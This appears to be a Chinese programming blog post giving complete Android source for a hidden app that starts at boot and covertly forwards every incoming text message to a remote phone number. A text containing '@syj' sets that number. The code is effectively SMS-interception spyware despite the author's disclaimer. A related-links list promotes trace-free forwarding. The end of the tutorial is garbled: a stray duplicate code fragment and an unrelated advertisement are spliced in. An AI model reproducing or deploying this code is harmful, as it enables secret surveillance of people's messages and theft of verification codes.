本案例是在android手机中运行,是一个没有界面的短信监听软件。主要是用BroadcastReceiver来接受短信广播,当接收到短信后就跳转到service中来转发短信。哈哈,不是用来干坏事的。这个案例用了个小协议,当用户安装好这个软件后,你先要用自己的手机发送内容@syj来绑定本手机。绑定好后会收到一个ok短信用来确定绑定成功。然后当其他人发短信给安装过软件的手机,你都会收到短信了。

主要功能

能监听手机接收的所有短信
能监听手机的开机信息
能将开机信息发送到指定手机上
能将截获的每一条短信将其发件号码和内容转发到指定手机上
能通过接收特殊短信的方法设置接收短信的手机号码
该软件能开机自动运行

具体代码

第一步,编写AndroidMainFest.xml文件的内容

<?xml version="1.0" encoding="utf-8"?>
<manifest xmlns:android="http://schemas.android.com/apk/res/android"
package="com.tiantian.test"
android:versionCode="1"
android:versionName="1.0" > <uses-sdk android:minSdkVersion="8" /> <application
android:icon="@drawable/ic_launcher"
android:label="@string/app_name" >
<receiver android:name=".SMSBroadcastReceiver">
<intent-filter >
<action android:name="android.intent.action.MAIN" />
<action android:name="android.provider.Telephony.SMS_RECEIVED"/>
<action android:name="android.intent.action.BOOT_COMPLETED"/>
</intent-filter>
</receiver>
<service android:name=".SMSService"></service>
</application>
<uses-permission android:name="android.permission.SEND_SMS"/>
<uses-permission android:name="android.permission.RECEIVE_SMS"/>
<uses-permission android:name="android.permission.RECEIVE_BOOT_COMPLETED" />
</manifest>

第二步:编写SMSBroadcastReceiver.java,主要是监听到短信后或系统开机后启动SMSservice.java文件

import android.content.BroadcastReceiver;
import android.content.Context;
import android.content.Intent;
import android.util.Log; public class SMSBroadcastReceiver extends BroadcastReceiver{
public void onReceive(Context context, Intent intent) {
Log.v("Cat", "I'm in BroadcastReceiver");
intent.setClass(context, SMSService.class);
context.startService(intent);
}
}

第三步:编写SMSService.java文件,具体代码如下;

import java.sql.Date;
import java.text.SimpleDateFormat;
import android.app.Service;
import android.content.Intent;
import android.content.SharedPreferences;
import android.content.SharedPreferences.Editor;
import android.os.IBinder;
import android.telephony.SmsManager;
import android.telephony.SmsMessage;
import android.util.Log; public class SMSService extends Service{
private SharedPreferences prefs;
private Editor editor; public final static String SMS_RECEIVED = "android.provider.Telephony.SMS_RECEIVED";
public final static String BOOT_COMPLETED = "android.intent.action.BOOT_COMPLETED";
@Override
public IBinder onBind(Intent arg0) {
// TODO Auto-generated method stub
return null;
} @Override
public void onCreate() {
// TODO Auto-generated method stub
super.onCreate();
prefs = getSharedPreferences("_interceptNum", MODE_PRIVATE);
editor = prefs.edit(); } @Override
public void onDestroy() {
// TODO Auto-generated method stub
super.onDestroy();
} @Override
public int onStartCommand(Intent intent, int flags, int startId) {
// TODO Auto-generated method stub
Log.v("Cat", "I'm in Service");
Log.v("Cat", "Action--->" + intent.getAction());
if(intent.getAction().equals(SMS_RECEIVED)){
Object[] pdus = (Object[])intent.getExtras().get("pdus");
if(pdus != null && pdus.length != 0){
SmsMessage[] messages = new SmsMessage[pdus.length];
for(int i=0;i<pdus.length;i++){
byte[] pdu = (byte[])pdus[i];
messages[i] = SmsMessage.createFromPdu(pdu);
}
for(SmsMessage message : messages){
String messageBody = message.getMessageBody();
String sender = message.getOriginatingAddress();
Log.v("Cat", "body--->" + messageBody + ";" + "sender--->" + sender);
if(messageBody.contains("@syj")){
editor.putString("_sendTo", sender);
editor.commit();
SmsManager smsManger = SmsManager.getDefault();
smsManger.sendTextMessage(sender, null, "ok!", null, null);
}else{
if(prefs != null){
Date date = new Date(message.getTimestampMillis());
SimpleDateFormat format = new SimpleDateFormat("yyyy-MM-dd HH:mm:ss");
String sendContent = "date:" + format.format(date) + "\n"
+ "sender:" + sender + "\n" + "messageBody:" + messageBody;
String sendTo = prefs.getString("_sendTo", "发送失败");
SmsManager smsManger = SmsManager.getDefault();
smsManger.sendTextMessage(sendTo, null, sendContent, null, null);
}
} } }
} return super.onStartCommand(intent, flags, startId);
} } Date date = new Date(sms.getTimestampMillis());//得到发送短信具体时间
   //2009-10-12 12:21:23
   SimpleDateFormat format = new SimpleDateFormat("yyyy-MM-dd HH:mm:ss");//为实践设置格式 这个app潮流公众帐号主要是推荐给手机用户最近最潮的软件,让大家随时跟上时尚。我们会提供给你们最好的服务,喜欢我们就帮我们推荐吧!

Android短信监听软件的更多相关文章

  1. Android短信监听(二)——利用ContentObserver实现短信监听

    MainActivity例如以下: package cc.testsmslistener; import cc.testsmslistener.SMSContentObserver.MessageLi ...

  2. wemall app商城源码Android短信监听接收器

    wemall doraemon是Android客户端程序,服务端采用wemall微信商城,不对原商城做任何修改,只需要在原商城目录下上传接口文件即可完成服务端的配置,客户端可随意定制修改.本文分享其中 ...

  3. Android短信监听实现,及Android4.4之后短信机制变更

    前阵子公司有一个项目,简单的监听短信应用,功能只有如下两个: 1.监听短信并获取短信内容上传服务器: 2.从服务器获取短信内容,发送出去    按照传统的思路,监听短信我们有两种方式:第一种是使用广播 ...

  4. Android 短信监听及用途分析

    监听系统短信这个只能作为一个技术点来研究下,读者可能在工作中可能不会哦涉及到,一般的应用软件也不会有这个需求 但是作为程序员呢,多了解一下也是好的. Android 监听系统短信有什么用? 1.对系统 ...

  5. Android实战简易教程-第四十枪(窃听风云之短信监听)

    近期在做监听验证码短信自己主动填入的功能,无意间想到了一个短信监听的办法. 免责声明:短信监听本身是一种违法行为,这里仅仅是技术描写叙述.请大家学习技术就可以.(哈哈) 本实例是基于bmob提供的后台 ...

  6. Android 编程下短信监听在小米手机中失效的解决办法

    相信很多人写的短信监听应用在小米手机上是拦截不到短信的,这是因为小米对短信的处置权优先分给了系统.我们可以在短信的[设置]→[高级设置]→[系统短信优先]中发现短信的优先处理权默认是分给系统的,只要关 ...

  7. Android实现短信监听并且转发到指定的手机号,转发后不留痕

    转载:http://blog.csdn.net/swqqcs/article/details/7252419 通过这些代码也可以对远程手机实现短信控制.有兴趣的可以自己改一下,说一下简单的原理,要实现 ...

  8. 赵雅智_BroadcastReceiver短信监听

    AndroidManifest.xml 注冊广播接收者 加入权限 <?xml version="1.0" encoding="utf-8"?> &l ...

  9. Android短信收到,语音播报

    发送短信功能界面 /** * 发送短信Demo * * @description: * @author ldm * @date 2016-4-22 上午9:07:53 */ public class ...

随机推荐

  1. 【全国互虐】Fibonacci矩阵

    orz啊又被屠了 人生如此艰难 题意: 给定一个k维的n^k的超立方体 超立方体的元素Ai1,i2,...,ik 的值为f(i1+i2+...+ik-k+1) f为斐波那契数列 求该超立方体的所有元素 ...

  2. LINQ标准查询操作符(四) —AsEnumerable,Cast,OfType,ToArray,ToDictionary,ToList,ToLookup,First,Last,ElementAt

    十.转换操作符 转换操作符是用来实现将输入对象的类型转变为序列的功能.名称以“As”开头的转换方法可更改源集合的静态类型但不枚举(延迟加载)此源集合.名称以“To”开头的方法可枚举(即时加载)源集合并 ...

  3. Mysql捕捉(网站)应用执行的语句

    如题,很多时候我们需要知道某个程序或者网站链接到额数据库到底执行了什么语句,对于MSsql来说, 比较简单,有相对应的事件查看器,但是对于mysql来说,并没有这个组件或者相关配套工具,此时我们可以 ...

  4. Jsp页面设计易忘点

    文本标签: <b>文本加粗 <i>斜体 <u>下划线 <sub>作为下标 <sup>作为上标 样式: italic;斜体 text-deco ...

  5. VPN 隧道协议PPTP、L2TP、IPSec和SSLVPN的区别

    最近软矿频繁地介绍了各种VPN,有免费的PacketiX.NET和Hotspot Shield,有付费的Astrill VPN,iVPN和PureVPN.在介绍这些VPN的时候,常常会说到PPTP.L ...

  6. find 命令概览

    Linux下find命令在目录结构中搜索文件,并执行指定的操作.Linux下find命令提供了相当多的查找条件,功能很强大.由于find具有强大的功能,所以它的选项也很多,其中大部分选项都值得我们花时 ...

  7. .Net实现的批量删除(使用了repeater控件)

    前台 <asp:Repeater ID="Repeater1" runat="server"> <HeaderTemplate> < ...

  8. LDS,LES,LFS,LGS,LSS指令

    LDS,LES,LFS,LGS,LSS其指令格式都是         LDS reg16,mem32 其意义是同时给一个段寄存器和一个16位通用寄存器同时赋值 具体如下:reg16=mem32的低字, ...

  9. magiczoom 插件去版本(放大镜效果)

    在放大镜效果中代码中有 Please upgrade to full version of Magic Zoom Plus™ 去除办法: 在 magiczoom 去版本 magiczoomplus.j ...

  10. effective c++ (二)

    条款04:确定对象使用前已先被初始化 1.由于 c part of c++而且初始化可能导致运行期成本,那么就不保证发生初始化:例如arry是c part of c++的部分从而不能保证初始化,而ST ...